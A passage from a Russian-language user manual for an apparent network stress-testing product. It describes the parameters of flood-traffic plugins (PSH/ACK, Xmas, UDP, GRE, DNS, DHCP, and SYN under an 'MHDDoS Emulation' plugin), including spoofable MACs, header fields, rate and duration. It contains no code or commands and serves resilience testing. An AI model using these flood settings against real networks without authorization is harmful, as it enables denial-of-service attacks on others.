НазваниеОписаниеЗначение
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить
Пакетов в секундуКакое количество пакетов будет отправлено в одну секундуЗадайте числовое значение
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение
  1. Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 91.

Табл. 91 – Параметр «Длительность»

НазваниеОписаниеЗначение
Длительность генерацииВремя генерации трафикаЗадайте числовое значение и выберите величину (в секундах, минутах или часах)

PSH/ACK Flood

PSH/ACK Flood – плагин для генерации трафика, который отправляет большое количество пакетов с флагами PSH и ACK, создавая нагрузку на сервер из-за необходимости немедленной обработки данных. Этот шаблон помогает оценить, как сервер справляется с высокой интенсивностью запросов.

Данный плагин состоит из следующих параметров:

  1. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 92;

    Табл. 92 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 93;

Табл. 93 – Параметры «Цели»

НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 94;

Табл. 94 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 95;

Табл. 95 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
Случайный Sequence NumberСлучайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP)Включить/выключить тумблер
Значение Sequence NumberТекущее число в последовательности, указывающее порядок данных в потоке передачиЗадайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295»)
  1. Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 96;

Табл. 96 – Параметр «Скорость»

НазваниеОписаниеЗначение
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить
Пакетов в секундуКакое количество пакетов будет отправлено в одну секундуЗадайте числовое значение
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение
  1. Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 97.

Табл. 97 – Параметр «Длительность»

НазваниеОписаниеЗначение
Длительность генерацииВремя генерации трафикаЗадайте числовое значение и выберите величину (в секундах, минутах или часах)

Xmas Flood (All flags)

Xmas Flood (All flags) – плагин для генерации трафика, который отправляет большое количество пакетов c установленными всеми флагами TCP (URG, ACK, PSH, RST, SYN, FIN). Этот шаблон используется для проверки устойчивости сетевых устройств и систем обнаружения вторжений к необычным и потенциально вредоносным пакетам.

Данный плагин состоит из следующих параметров:

  1. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 98;

Табл. 98 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 99;

Табл. 99 – Параметры «Цели»

НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 100;

Табл. 100 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 101;

Табл. 101 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
Случайный Sequence NumberСлучайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP)Включить/выключить тумблер
Значение Sequence NumberТекущее число в последовательности, указывающее порядок данных в потоке передачиЗадайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295»)
  1. Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 102;

Табл. 103 – Параметр «Скорость»

НазваниеОписаниеЗначение
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить
Пакетов в секундуКакое количество пакетов будет отправлено в одну секундуЗадайте числовое значение
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение
  1. Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 103.

Табл. 103 – Параметр «Длительность»

НазваниеОписаниеЗначение
Длительность генерацииВремя генерации трафикаЗадайте числовое значение и выберите величину (в секундах, минутах или часах)

UDP Flood

UDP Flood – плагин для генерации трафика, который отправляет большой объем UDP-пакетов на целевой сервер, что может привести к исчерпанию пропускной способности и перегрузке ресурсов сервера. Этот шаблон позволяет протестировать устойчивость сети к атакам, использующим UDP-трафик.

Данный плагин состоит из следующих параметров:

  1. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 104;

Табл. 104 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 105;

Табл. 105 – Параметры «Цели»

НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 106;

Табл. 106 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. Параметры плагина – параметры настроек плагина UDP, описание которых указаны в Табл. 107.

Табл. 107 – Параметры «Плагина»

НазваниеОписаниеЗначение
Невалидная чек-суммаЧек-сумма используется в UDP-пакетах для проверки целостности данных. Установка невалидной чек-суммы означает, что отправляемые пакеты будут содержать неправильное значение чек-суммы, что может привести к тому, что получатель отвергнет эти пакеты или обработает их неправильно.Включение или выключение тумблера
Отправлять пейлоадПейлоад — это данные, которые передаются в UDP-пакете. В данном случае параметр указывает на необходимость отправки пейлоада вместе с UDP-пакетомВключение или выключение тумблера
Если тумблер «Отправлять пейлоад» включен
Случайные данныеЭтот параметр подразумевает, что содержимое пейлоада будет генерироваться случайным образом. Это может включать случайные байты или строки, что делает трафик менее предсказуемым.Включение или выключение тумблера
Если тумблер «Случайные данные» выключен
Base64 строкаУказывает, будет ли содержимое пейлоада интерпретироваться или кодироваться как Base64 строкаВключение или выключение тумблера
Размер пейлоадаЭтот параметр определяет размер данных в пейлоаде UDP-пакета. Значение может варьироваться от 0 до 1300 байт.Задать числовые значения (по умолчанию, значение указано: «0-1300»)
  1. Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 108;

Табл. 108 – Параметр «Скорость»

НазваниеОписаниеЗначение
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить
Пакетов в секундуКакое количество пакетов будет отправлено в одну секундуЗадайте числовое значение
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение
  1. Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 109.

Табл. 109 – Параметр «Длительность»

НазваниеОписаниеЗначение
Длительность генерацииВремя генерации трафикаЗадайте числовое значение и выберите величину (в секундах, минутах или часах)

GRE Flood

GRE Flood – плагин для генерации трафика, который генерирует и отправляет большое количество пакетов с заголовком GRE (Generic Routing Encapsulation) с целью перегрузить пропускную способность сети.

Данный плагин состоит из следующих параметров:

  1. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 110;

Табл. 110 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 111;

Табл. 111 – Параметры «Цели»

НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 112;

Табл. 112 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. Параметры плагина – параметры настроек плагина GRE, описание которых указаны в Табл. 112а;

Табл. 112а – Параметры «Плагина»

НазваниеОписаниеЗначение
Невалидная чек-суммаЧек-сумма используется в IP-пакетах для проверки целостности данных. Установка невалидной чек-суммы означает, что отправляемые пакеты будут содержать неправильное значение чек-суммы, что может привести к тому, что получатель отвергнет эти пакеты или обработает их неправильно.Включение или выключение тумблера
  1. Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 113;

Табл. 113 – Параметр «Скорость»

НазваниеОписаниеЗначение
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить
Пакетов в секундуКакое количество пакетов будет отправлено в одну секундуЗадайте числовое значение
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение
  1. Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 114.

Табл. 114 – Параметр «Длительность»

НазваниеОписаниеЗначение
Длительность генерацииВремя генерации трафикаЗадайте числовое значение и выберите величину (в секундах, минутах или часах)

DNS Flood

DNS Flood – плагин для генерации трафика, который генерирует и отправляет большое количество DNS-запросов с целью перегрузить DNS-сервер или пропускную способность сети.

Данный плагин состоит из следующих параметров:

  1. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 114а;

Табл. 114а – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 114б;

Табл. 114б – Параметры «Цели»

НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 114в;

Табл. 114в – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. Параметры плагина – параметры настроек плагина DNS Flood, описание которых указаны в Табл. 114г;

Табл. 114г – Параметры «Плагина»

НазваниеОписаниеЗначение
Невалидная чек-суммаЧек-сумма используется в IP-пакетах для проверки целостности данных. Установка невалидной чек-суммы означает, что отправляемые пакеты будут содержать неправильное значение чек-суммы, что может привести к тому, что получатель отвергнет эти пакеты или обработает их неправильно.Включение или выключение тумблера
  1. Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 114д;

Табл. 114д – Параметр «Скорость»

НазваниеОписаниеЗначение
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить
Пакетов в секундуКакое количество пакетов будет отправлено в одну секундуЗадайте числовое значение
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение
  1. Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 114е.

Табл. 114е – Параметр «Длительность»

НазваниеОписаниеЗначение
Длительность генерацииВремя генерации трафикаЗадайте числовое значение и выберите величину (в секундах, минутах или часах)

DHCP Flood

DHCP Flood – плагин для генерации трафика, который генерирует и отправляет большое количество DHCP-запросов (DHCP Discover / DHCP Request) с целью исчерпать пул адресов DHCP-сервера или перегрузить пропускную способность сети.

Данный плагин состоит из следующих параметров:

  1. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 114ж;

Табл. 114ж – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 114з;

Табл. 114з – Параметры «Цели»

НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 114и;

Табл. 114и – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. Параметры плагина – параметры настроек плагина DHCP Flood, описание которых указаны в Табл. 114к;

Табл. 114к – Параметры «Плагина»

НазваниеОписаниеЗначение
Невалидная чек-суммаЧек-сумма используется в IP-пакетах для проверки целостности данных. Установка невалидной чек-суммы означает, что отправляемые пакеты будут содержать неправильное значение чек-суммы, что может привести к тому, что получатель отвергнет эти пакеты или обработает их неправильно.Включение или выключение тумблера
  1. Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 114л;

Табл. 114л – Параметр «Скорость»

НазваниеОписаниеЗначение
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить
Пакетов в секундуКакое количество пакетов будет отправлено в одну секундуЗадайте числовое значение
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение
  1. Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 114м.

Табл. 114м – Параметр «Длительность»

НазваниеОписаниеЗначение
Длительность генерацииВремя генерации трафикаЗадайте числовое значение и выберите величину (в секундах, минутах или часах)

MHDDoS Emulation

MHDDoS Emulation – плагин для эмуляции различных типов DDoS-атак с целью тестирования устойчивости и защиты сетевой инфраструктуры.

Данный плагин состоит из подплагинов ниже, которые можно включать при необходимости с пред настроенными параметрами.

SYN Flood

SYN Flood – подплагин для генерации трафика, в котором отправляется большое количество запросов на установление TCP-соединения (SYN-пакеты) без завершения процесса.

Данный плагин состоит из следующих параметров:

  1. Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».

  2. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 115;

Табл. 115 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 116;

Табл. 116 – Параметры «Цели»

НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 117;

Табл. 117 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 118;

Табл. 118 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
